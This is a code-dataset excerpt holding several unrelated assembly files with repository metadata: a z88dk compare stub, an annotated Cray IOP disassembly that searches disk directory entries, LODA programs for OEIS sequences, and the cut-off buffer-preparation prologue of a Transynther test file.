EXTERN cm16_sdcc_readr
EXTERN asm_f16_compare
; Entry: stack: half right, half left, ret
.cm16_sdcc___lt
call asm_f16_compare
ret C
dec hl
ret
| 13.125
| 42
| 0.752381
|
4b3ac48369e7d3a7e2fee1ac896f273584f29476
| 24,679
|
asm
|
Assembly
|
target/cos_117/disasm/iop_overlay1/XFMFND.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 49
|
2020-10-09T12:29:16.000Z
|
2022-03-12T02:33:35.000Z
|
target/cos_117/disasm/iop_overlay1/XFMFND.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 1
|
2021-12-29T15:59:25.000Z
|
2021-12-29T15:59:25.000Z
|
target/cos_117/disasm/iop_overlay1/XFMFND.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 6
|
2021-04-12T06:10:32.000Z
|
2022-02-08T23:11:19.000Z
|
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Input:
@@ OR[280] : Device desc.
@@ OR[281] : 68 WORD long Output buffer
@@ OR[282] : Directory name string pointer
@@ OR[283] : File name string pointer
@@
@@ OR[284] : Return value
@@ OR[285] : Local 2k buffer
@@
@@ Disk layout so far:
@@ Sector 3: contains some info on whether the disk is initialized:
@@ first word: 0xffff
@@ next words: Volume label string
@@ Sector 4: free sector chain array - probably sorted by small-to-large, though it might not be the case
@@ offset 7: number of entries in the array
@@ offset 8: first sector in the chain
@@ offset 9: number of sectors in the chain
@@ Sector 5: first directory entry
@@ offset 0: link to next directory entry sector, or 0 for the last such sector
@@ offset 8: first directory entry
@@ offset 68: second directory entry
@@ offset 128: 3rd directory entry
@@ ....
@@ Each directory entry is 60 words long:
@@ offset 0: flags
@@ bit-15: 1 - entry valid
@@ bit-14: 0 - 0 for XFMACC to accept the entry otherwise error-code 1025 is returned - set to 1 by XFMIO if the directory entry (sector allocation chains) got modified
@@ bit-13: 0 - 0 for XFMACC to accept the entry otherwise error-code 1026 is returned
@@ offset 1...8: directory name (max 16 chars long)
@@ offset 9...16: file name (max 16 chars long)
@@ offset 17...20: Creation date string (probably in MM/DD/YY format)
@@ offset 21...24: Creation time string (probably in HH:MM:SS format)
@@ offset 25: File size in QWORDS - high WORD
@@ offset 26: File size in QWORDS - low WORD
@@ offset 27:
@@ offset 28:
@@ offset 29:
@@ offset 30: number of sectors in the file
@@ offset 31: number of chains in this directory entry
@@ offset 32: first sector in first chain - each chain is a contiguous set of sectors allocated for this file
@@ offset 33: number of sectors in first chain
@@ ...
@@ offset 58: first sector in 14th chain
@@ offset 59: number of sectors in 14th chain
@@
@@ Each file handle is 68 words long:
@@ offset 0: directory entry sector number
@@ offset 1: directory entry sector offset
@@ offset 2: current sector index (not disk sector, but nth sector of file) ????
@@ offset 3:
@@ offset 4:
@@ offset 5:
@@ offset 6:
@@ offset 7:
@@ offset 8...67: corresponding directory entry
0x0000 (0x000000) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0001 (0x000002) 0x291C- f:00024 d: 284 | OR[284] = A
0x0002 (0x000004) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0003 (0x000006) 0x291D- f:00024 d: 285 | OR[285] = A
@ Allocate 2k buffer
0x0004 (0x000008) 0x101A- f:00010 d: 26 | A = 26 (0x001A)
0x0005 (0x00000A) 0x292A- f:00024 d: 298 | OR[298] = A
0x0006 (0x00000C) 0x111D- f:00010 d: 285 | A = 285 (0x011D)
0x0007 (0x00000E) 0x292B- f:00024 d: 299 | OR[299] = A
0x0008 (0x000010) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0009 (0x000012) 0x5800- f:00054 d: 0 | B = A
0x000A (0x000014) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000B (0x000016) 0x7C09- f:00076 d: 9 | R = OR[9]
0x000C (0x000018) 0x8602- f:00103 d: 2 | P = P + 2 (0x000E), A # 0
0x000D (0x00001A) 0x700B- f:00070 d: 11 | P = P + 11 (0x0018)
0x000E (0x00001C) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x000F (0x00001E) 0x292A- f:00024 d: 298 | OR[298] = A
0x0010 (0x000020) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0011 (0x000022) 0x292B- f:00024 d: 299 | OR[299] = A
0x0012 (0x000024) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0013 (0x000026) 0x5800- f:00054 d: 0 | B = A
0x0014 (0x000028) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x0016 (0x00002C) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0017 (0x00002E) 0x7213- f:00071 d: 19 | P = P - 19 (0x0004)
@ Read sector 5 into buffer
0x0018 (0x000030) 0x1005- f:00010 d: 5 | A = 5 (0x0005)
0x0019 (0x000032) 0x291E- f:00024 d: 286 | OR[286] = A
0x001A (0x000034) 0x74C8- f:00072 d: 200 | R = P + 200 (0x00E2)
@ This is a loop here
0x001B (0x000036) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x001C (0x000038) 0x291F- f:00024 d: 287 | OR[287] = A
@ Loop until go over the buffer
0x001D (0x00003A) 0x211F- f:00020 d: 287 | A = OR[287]
0x001E (0x00003C) 0x1E00-0x0800 f:00017 d: 0 | A = A - 2048 (0x0800)
0x0020 (0x000040) 0x822A- f:00101 d: 42 | P = P + 42 (0x004A), C # 0
@ Read buffer index OR[287]
0x0021 (0x000042) 0x211D- f:00020 d: 285 | A = OR[285]
0x0022 (0x000044) 0x251F- f:00022 d: 287 | A = A + OR[287]
0x0023 (0x000046) 0x2920- f:00024 d: 288 | OR[288] = A
0x0024 (0x000048) 0x3120- f:00030 d: 288 | A = (OR[288])
@ Make sure bit-15 is not set
0x0025 (0x00004A) 0x080F- f:00004 d: 15 | A = A > 15 (0x000F)
0x0026 (0x00004C) 0x2921- f:00024 d: 289 | OR[289] = A
0x0027 (0x00004E) 0x2121- f:00020 d: 289 | A = OR[289]
0x0028 (0x000050) 0x8602- f:00103 d: 2 | P = P + 2 (0x002A), A # 0
0x0029 (0x000052) 0x701E- f:00070 d: 30 | P = P + 30 (0x0047)
0x002A (0x000054) 0x743F- f:00072 d: 63 | R = P + 63 (0x0069) @ Compare directory entry file name OR[288]: directory entry, OR[282]: primary file name, OR[283]: secondary file name, return OR[290]: 0 - file name doesn't match 1 - file name(s) match
0x002B (0x000056) 0x2122- f:00020 d: 290 | A = OR[290]
0x002C (0x000058) 0x8602- f:00103 d: 2 | P = P + 2 (0x002E), A # 0
0x002D (0x00005A) 0x701A- f:00070 d: 26 | P = P + 26 (0x0047)
@ File names match too: copy directory entry to output buffer, from offset 8
0x002E (0x00005C) 0x2119- f:00020 d: 281 | A = OR[281]
0x002F (0x00005E) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0030 (0x000060) 0x2923- f:00024 d: 291 | OR[291] = A
0x0031 (0x000062) 0x2120- f:00020 d: 288 | A = OR[288]
0x0032 (0x000064) 0x290D- f:00024 d: 269 | OR[269] = A
0x0033 (0x000066) 0x2123- f:00020 d: 291 | A = OR[291]
0x0034 (0x000068) 0x290E- f:00024 d: 270 | OR[270] = A
0x0035 (0x00006A) 0x103C- f:00010 d: 60 | A = 60 (0x003C)
0x0036 (0x00006C) 0x290F- f:00024 d: 271 | OR[271] = A
0x0037 (0x00006E) 0x7006- f:00070 d: 6 | P = P + 6 (0x003D)
0x0038 (0x000070) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0039 (0x000072) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x003A (0x000074) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x003B (0x000076) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x003C (0x000078) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x003D (0x00007A) 0x210F- f:00020 d: 271 | A = OR[271]
0x003E (0x00007C) 0x8E06- f:00107 d: 6 | P = P - 6 (0x0038), A # 0
@ Copy some other info into the return buffer too:
@ Sector number into first WORD
0x003F (0x00007E) 0x211E- f:00020 d: 286 | A = OR[286]
0x0040 (0x000080) 0x3919- f:00034 d: 281 | (OR[281]) = A
@ Sector offset where directory entry was found to second WORD
0x0041 (0x000082) 0x2119- f:00020 d: 281 | A = OR[281]
0x0042 (0x000084) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0043 (0x000086) 0x2908- f:00024 d: 264 | OR[264] = A
0x0044 (0x000088) 0x211F- f:00020 d: 287 | A = OR[287]
0x0045 (0x00008A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0046 (0x00008C) 0x700D- f:00070 d: 13 | P = P + 13 (0x0053) @ Return from overlay
@ Increment to next directory entry(?) and loop
0x0047 (0x00008E) 0x103C- f:00010 d: 60 | A = 60 (0x003C)
0x0048 (0x000090) 0x2B1F- f:00025 d: 287 | OR[287] = A + OR[287]
0x0049 (0x000092) 0x722C- f:00071 d: 44 | P = P - 44 (0x001D)
@ Haven't found the entry in this sector - read the first WORD of the current sector which links us to the next directory sector and (if it's non-0) continue looping
0x004A (0x000094) 0x311D- f:00030 d: 285 | A = (OR[285])
0x004B (0x000096) 0x291E- f:00024 d: 286 | OR[286] = A
0x004C (0x000098) 0x211E- f:00020 d: 286 | A = OR[286]
0x004D (0x00009A) 0x8602- f:00103 d: 2 | P = P + 2 (0x004F), A # 0
0x004E (0x00009C) 0x7002- f:00070 d: 2 | P = P + 2 (0x0050)
0x004F (0x00009E) 0x7235- f:00071 d: 53 | P = P - 53 (0x001A)
@ Not found and reached end of directory structure: return error code 1092 from overlay
0x0050 (0x0000A0) 0x1800-0x0444 f:00014 d: 0 | A = 1092 (0x0444)
0x0052 (0x0000A4) 0x291C- f:00024 d: 284 | OR[284] = A
@ Free buffer if allocated
0x0053 (0x0000A6) 0x211D- f:00020 d: 285 | A = OR[285]
0x0054 (0x0000A8) 0x8602- f:00103 d: 2 | P = P + 2 (0x0056), A # 0
0x0055 (0x0000AA) 0x7009- f:00070 d: 9 | P = P + 9 (0x005E)
0x0056 (0x0000AC) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x0057 (0x0000AE) 0x292A- f:00024 d: 298 | OR[298] = A
0x0058 (0x0000B0) 0x211D- f:00020 d: 285 | A = OR[285]
0x0059 (0x0000B2) 0x292B- f:00024 d: 299 | OR[299] = A
0x005A (0x0000B4) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x005B (0x0000B6) 0x5800- f:00054 d: 0 | B = A
0x005C (0x0000B8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x005D (0x0000BA) 0x7C09- f:00076 d: 9 | R = OR[9]
@ Set return value from OR[284] and return from overlay
0x005E (0x0000BC) 0x2005- f:00020 d: 5 | A = OR[5]
0x005F (0x0000BE) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0060 (0x0000C0) 0x2908- f:00024 d: 264 | OR[264] = A
0x0061 (0x0000C2) 0x211C- f:00020 d: 284 | A = OR[284]
0x0062 (0x0000C4) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0063 (0x0000C6) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x0064 (0x0000C8) 0x292A- f:00024 d: 298 | OR[298] = A
0x0065 (0x0000CA) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x0066 (0x0000CC) 0x5800- f:00054 d: 0 | B = A
0x0067 (0x0000CE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0068 (0x0000D0) 0x7C09- f:00076 d: 9 | R = OR[9]
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Compare directory entry file name
@@ Input:
@@ OR[288]: pointer to directory entry in memory
@@ OR[282]: pointer to primary file name to search for
@@ OR[283]: pointer to secondary file name to search for
@@
@@ Return:
@@ OR[290]: 0 - file name doesn't match
@@ 1 - file name(s) match
@@
@@ NOTE: there's some detail around strings not being equally long. Maybe we return matches in some cases where the shorter string is an exact match of the beginning of the longer too...
@ OR[292] starts at offset 1
0x0069 (0x0000D2) 0x2120- f:00020 d: 288 | A = OR[288]
0x006A (0x0000D4) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x006B (0x0000D6) 0x2924- f:00024 d: 292 | OR[292] = A
@ OR[294] goes from 0 to 16
0x006C (0x0000D8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x006D (0x0000DA) 0x2926- f:00024 d: 294 | OR[294] = A
0x006E (0x0000DC) 0x2126- f:00020 d: 294 | A = OR[294]
0x006F (0x0000DE) 0x1610- f:00013 d: 16 | A = A - 16 (0x0010)
0x0070 (0x0000E0) 0x8433- f:00102 d: 51 | P = P + 51 (0x00A3), A = 0
0x0071 (0x0000E2) 0x2126- f:00020 d: 294 | A = OR[294]
0x0072 (0x0000E4) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0073 (0x0000E6) 0x251A- f:00022 d: 282 | A = A + OR[282]
0x0074 (0x0000E8) 0x290D- f:00024 d: 269 | OR[269] = A
0x0075 (0x0000EA) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0076 (0x0000EC) 0x290D- f:00024 d: 269 | OR[269] = A
0x0077 (0x0000EE) 0x2126- f:00020 d: 294 | A = OR[294]
0x0078 (0x0000F0) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0079 (0x0000F2) 0x2908- f:00024 d: 264 | OR[264] = A
0x007A (0x0000F4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x007B (0x0000F6) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x007C (0x0000F8) 0x8604- f:00103 d: 4 | P = P + 4 (0x0080), A # 0
0x007D (0x0000FA) 0x210D- f:00020 d: 269 | A = OR[269]
0x007E (0x0000FC) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x007F (0x0000FE) 0x290D- f:00024 d: 269 | OR[269] = A
0x0080 (0x000100) 0x210D- f:00020 d: 269 | A = OR[269]
0x0081 (0x000102) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0082 (0x000104) 0x2927- f:00024 d: 295 | OR[295] = A
0x0083 (0x000106) 0x2126- f:00020 d: 294 | A = OR[294]
0x0084 (0x000108) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0085 (0x00010A) 0x2524- f:00022 d: 292 | A = A + OR[292]
0x0086 (0x00010C) 0x290D- f:00024 d: 269 | OR[269] = A
0x0087 (0x00010E) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0088 (0x000110) 0x290D- f:00024 d: 269 | OR[269] = A
0x0089 (0x000112) 0x2126- f:00020 d: 294 | A = OR[294]
0x008A (0x000114) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x008B (0x000116) 0x2908- f:00024 d: 264 | OR[264] = A
0x008C (0x000118) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x008D (0x00011A) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x008E (0x00011C) 0x8604- f:00103 d: 4 | P = P + 4 (0x0092), A # 0
0x008F (0x00011E) 0x210D- f:00020 d: 269 | A = OR[269]
0x0090 (0x000120) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0091 (0x000122) 0x290D- f:00024 d: 269 | OR[269] = A
0x0092 (0x000124) 0x210D- f:00020 d: 269 | A = OR[269]
0x0093 (0x000126) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0094 (0x000128) 0x2928- f:00024 d: 296 | OR[296] = A
0x0095 (0x00012A) 0x2127- f:00020 d: 295 | A = OR[295]
0x0096 (0x00012C) 0x2728- f:00023 d: 296 | A = A - OR[296]
0x0097 (0x00012E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0099), A # 0
0x0098 (0x000130) 0x7005- f:00070 d: 5 | P = P + 5 (0x009D)
0x0099 (0x000132) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x009A (0x000134) 0x2922- f:00024 d: 290 | OR[290] = A
0x009B (0x000136) 0x0200- f:00001 d: 0 | EXIT
0x009C (0x000138) 0x7005- f:00070 d: 5 | P = P + 5 (0x00A1)
0x009D (0x00013A) 0x2127- f:00020 d: 295 | A = OR[295]
0x009E (0x00013C) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A0), A = 0
0x009F (0x00013E) 0x7002- f:00070 d: 2 | P = P + 2 (0x00A1)
0x00A0 (0x000140) 0x7003- f:00070 d: 3 | P = P + 3 (0x00A3)
0x00A1 (0x000142) 0x2D26- f:00026 d: 294 | OR[294] = OR[294] + 1
0x00A2 (0x000144) 0x7234- f:00071 d: 52 | P = P - 52 (0x006E)
@ File name matches, now look at the secondary file name???
0x00A3 (0x000146) 0x2120- f:00020 d: 288 | A = OR[288]
0x00A4 (0x000148) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x00A5 (0x00014A) 0x2925- f:00024 d: 293 | OR[293] = A
0x00A6 (0x00014C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00A7 (0x00014E) 0x2926- f:00024 d: 294 | OR[294] = A
0x00A8 (0x000150) 0x2126- f:00020 d: 294 | A = OR[294]
0x00A9 (0x000152) 0x1610- f:00013 d: 16 | A = A - 16 (0x0010)
0x00AA (0x000154) 0x8435- f:00102 d: 53 | P = P + 53 (0x00DF), A = 0
0x00AB (0x000156) 0x2126- f:00020 d: 294 | A = OR[294]
0x00AC (0x000158) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x00AD (0x00015A) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x00AE (0x00015C) 0x290D- f:00024 d: 269 | OR[269] = A
0x00AF (0x00015E) 0x310D- f:00030 d: 269 | A = (OR[269])
0x00B0 (0x000160) 0x290D- f:00024 d: 269 | OR[269] = A
0x00B1 (0x000162) 0x2126- f:00020 d: 294 | A = OR[294]
0x00B2 (0x000164) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00B3 (0x000166) 0x2908- f:00024 d: 264 | OR[264] = A
0x00B4 (0x000168) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00B5 (0x00016A) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00B6 (0x00016C) 0x8604- f:00103 d: 4 | P = P + 4 (0x00BA), A # 0
0x00B7 (0x00016E) 0x210D- f:00020 d: 269 | A = OR[269]
0x00B8 (0x000170) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00B9 (0x000172) 0x290D- f:00024 d: 269 | OR[269] = A
0x00BA (0x000174) 0x210D- f:00020 d: 269 | A = OR[269]
0x00BB (0x000176) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00BC (0x000178) 0x2927- f:00024 d: 295 | OR[295] = A
0x00BD (0x00017A) 0x2126- f:00020 d: 294 | A = OR[294]
0x00BE (0x00017C) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x00BF (0x00017E) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x00C0 (0x000180) 0x290D- f:00024 d: 269 | OR[269] = A
0x00C1 (0x000182) 0x310D- f:00030 d: 269 | A = (OR[269])
0x00C2 (0x000184) 0x290D- f:00024 d: 269 | OR[269] = A
0x00C3 (0x000186) 0x2126- f:00020 d: 294 | A = OR[294]
0x00C4 (0x000188) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00C5 (0x00018A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C6 (0x00018C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00C7 (0x00018E) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00C8 (0x000190) 0x8604- f:00103 d: 4 | P = P + 4 (0x00CC), A # 0
0x00C9 (0x000192) 0x210D- f:00020 d: 269 | A = OR[269]
0x00CA (0x000194) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00CB (0x000196) 0x290D- f:00024 d: 269 | OR[269] = A
0x00CC (0x000198) 0x210D- f:00020 d: 269 | A = OR[269]
0x00CD (0x00019A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00CE (0x00019C) 0x2928- f:00024 d: 296 | OR[296] = A
0x00CF (0x00019E) 0x2127- f:00020 d: 295 | A = OR[295]
0x00D0 (0x0001A0) 0x2728- f:00023 d: 296 | A = A - OR[296]
0x00D1 (0x0001A2) 0x8602- f:00103 d: 2 | P = P + 2 (0x00D3), A # 0
0x00D2 (0x0001A4) 0x7005- f:00070 d: 5 | P = P + 5 (0x00D7)
0x00D3 (0x0001A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D4 (0x0001A8) 0x2922- f:00024 d: 290 | OR[290] = A
0x00D5 (0x0001AA) 0x0200- f:00001 d: 0 | EXIT
0x00D6 (0x0001AC) 0x7007- f:00070 d: 7 | P = P + 7 (0x00DD)
0x00D7 (0x0001AE) 0x2127- f:00020 d: 295 | A = OR[295]
0x00D8 (0x0001B0) 0x8402- f:00102 d: 2 | P = P + 2 (0x00DA), A = 0
0x00D9 (0x0001B2) 0x7004- f:00070 d: 4 | P = P + 4 (0x00DD)
0x00DA (0x0001B4) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00DB (0x0001B6) 0x2922- f:00024 d: 290 | OR[290] = A
0x00DC (0x0001B8) 0x0200- f:00001 d: 0 | EXIT
0x00DD (0x0001BA) 0x2D26- f:00026 d: 294 | OR[294] = OR[294] + 1
0x00DE (0x0001BC) 0x7236- f:00071 d: 54 | P = P - 54 (0x00A8)
0x00DF (0x0001BE) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00E0 (0x0001C0) 0x2922- f:00024 d: 290 | OR[290] = A
0x00E1 (0x0001C2) 0x0200- f:00001 d: 0 | EXIT
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ call XDISK to read buffer
@@ Input:
@@ OR[285]: buffer
@@ OR[286]: sector
@@
0x00E2 (0x0001C4) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x00E3 (0x0001C6) 0x292A- f:00024 d: 298 | OR[298] = A
0x00E4 (0x0001C8) 0x1800-0x00A6 f:00014 d: 0 | A = 166 (0x00A6)
0x00E6 (0x0001CC) 0x292B- f:00024 d: 299 | OR[299] = A
0x00E7 (0x0001CE) 0x2118- f:00020 d: 280 | A = OR[280] @ Device desc. address
0x00E8 (0x0001D0) 0x292C- f:00024 d: 300 | OR[300] = A
0x00E9 (0x0001D2) 0x1004- f:00010 d: 4 | A = 4 (0x0004) @ Function code 4 - read
0x00EA (0x0001D4) 0x292D- f:00024 d: 301 | OR[301] = A
0x00EB (0x0001D6) 0x211D- f:00020 d: 285 | A = OR[285] @ Buffer address
0x00EC (0x0001D8) 0x292E- f:00024 d: 302 | OR[302] = A
0x00ED (0x0001DA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) @ ???
0x00EE (0x0001DC) 0x292F- f:00024 d: 303 | OR[303] = A
0x00EF (0x0001DE) 0x211E- f:00020 d: 286 | A = OR[286] @ Sector number
0x00F0 (0x0001E0) 0x2930- f:00024 d: 304 | OR[304] = A
0x00F1 (0x0001E2) 0x112A- f:00010 d: 298 | A = 298 (0x012A)
0x00F2 (0x0001E4) 0x5800- f:00054 d: 0 | B = A
0x00F3 (0x0001E6) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518)
0x00F5 (0x0001EA) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00F6 (0x0001EC) 0x291C- f:00024 d: 284 | OR[284] = A
0x00F7 (0x0001EE) 0x211C- f:00020 d: 284 | A = OR[284]
0x00F8 (0x0001F0) 0x8602- f:00103 d: 2 | P = P + 2 (0x00FA), A # 0
0x00F9 (0x0001F2) 0x7002- f:00070 d: 2 | P = P + 2 (0x00FB)
0x00FA (0x0001F4) 0x72A7- f:00071 d: 167 | P = P - 167 (0x0053)
0x00FB (0x0001F6) 0x0200- f:00001 d: 0 | EXIT
0x00FC (0x0001F8) 0x0000- f:00000 d: 0 | PASS
0x00FD (0x0001FA) 0x0000- f:00000 d: 0 | PASS
0x00FE (0x0001FC) 0x0000- f:00000 d: 0 | PASS
0x00FF (0x0001FE) 0x0000- f:00000 d: 0 | PASS
| 70.310541
| 265
| 0.489039
|
41bd607c98ee29eab40e91b06833aaaa2f76cad1
| 949
|
asm
|
Assembly
|
programs/oeis/181/A181303.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/181/A181303.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/181/A181303.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A181303: Numbers of the form i*7^j-1 (i=1..6, j >= 0).
; 0,1,2,3,4,5,6,13,20,27,34,41,48,97,146,195,244,293,342,685,1028,1371,1714,2057,2400,4801,7202,9603,12004,14405,16806,33613,50420,67227,84034,100841,117648,235297,352946,470595,588244,705893,823542,1647085,2470628,3294171,4117714,4941257
mov $20,$0
mov $22,$0
lpb $22,1
clr $0,20
mov $0,$20
sub $22,1
sub $0,$22
mov $17,$0
mov $19,$0
lpb $19,1
mov $0,$17
sub $19,1
sub $0,$19
mov $13,$0
mov $15,2
lpb $15,1
clr $0,13
mov $0,$13
sub $15,1
add $0,$15
sub $0,1
mov $5,3
lpb $0,1
trn $0,6
lpb $4,8
mov $1,4
div $5,2
lpe
mul $1,7
lpe
mov $16,$15
lpb $16,1
mov $14,$1
sub $16,1
lpe
lpe
lpb $13,1
mov $13,0
sub $14,$1
lpe
mov $1,$14
div $1,28
add $18,$1
lpe
add $21,$18
lpe
mov $1,$21
| 18.607843
| 238
| 0.501581
|
a0e639b933fcfa6945c29161a097b7b02042bb55
| 810
|
asm
|
Assembly
|
oeis/019/A019479.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/019/A019479.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/019/A019479.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A019479: Define the sequence S(a_0,a_1) by a_{n+2} is the least integer such that a_{n+2}/a_{n+1}>a_{n+1}/a_n for n >= 0. This is S(4,8).
; Submitted by Simon Strandgaard
; 4,8,17,37,81,178,392,864,1905,4201,9265,20434,45068,99400,219233,483533,1066465,2352162,5187856,11442176,25236513,55660881,122763937,270764386,597189652,1317143240,2905050865,6407291381,14131726001,31168502866,68744297112,151620320224,334409143313,737562583737,1626745487697,3587900118706,7913362821148,17453471129992,38494842378689,84903047578525,187259566287041,413013974952770,910930997484064,2009121561255168,4431257097463105,9773445192410273,21556011946075713,47543280989614530
add $0,2
seq $0,193641 ; Number of arrays of -1..1 integers x(1..n) with every x(i) in a subsequence of length 1 or 2 with sum zero.
div $0,2
add $0,1
| 90
| 484
| 0.808642
|
3fa03fe525889d4336a870cdb4b4260375cba6d8
| 5,726
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_510_242.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_510_242.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_st_/i7-8650U_0xd2.log_510_242.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x11603, %r9
nop
nop
nop
nop
nop
cmp $48701, %r15
movb $0x61, (%r9)
nop
nop
dec %r8
lea addresses_UC_ht+0x82e9, %rdx
sub $62541, %r13
movb (%rdx), %r8b
nop
nop
nop
nop
xor $59076, %r15
lea addresses_D_ht+0x14b83, %r12
nop
nop
nop
and $12236, %r14
mov $0x6162636465666768, %r13
movq %r13, (%r12)
nop
sub %r9, %r9
lea addresses_D_ht+0x1d24d, %r13
inc %r15
and $0xffffffffffffffc0, %r13
vmovntdqa (%r13), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r9
nop
xor $37753, %r9
lea addresses_WT_ht+0x86e3, %r13
nop
nop
nop
nop
and $39011, %r8
mov $0x6162636465666768, %rdx
movq %rdx, %xmm3
vmovups %ymm3, (%r13)
nop
nop
and %r15, %r15
lea addresses_UC_ht+0x18b83, %r13
nop
dec %rdx
vmovups (%r13), %ymm2
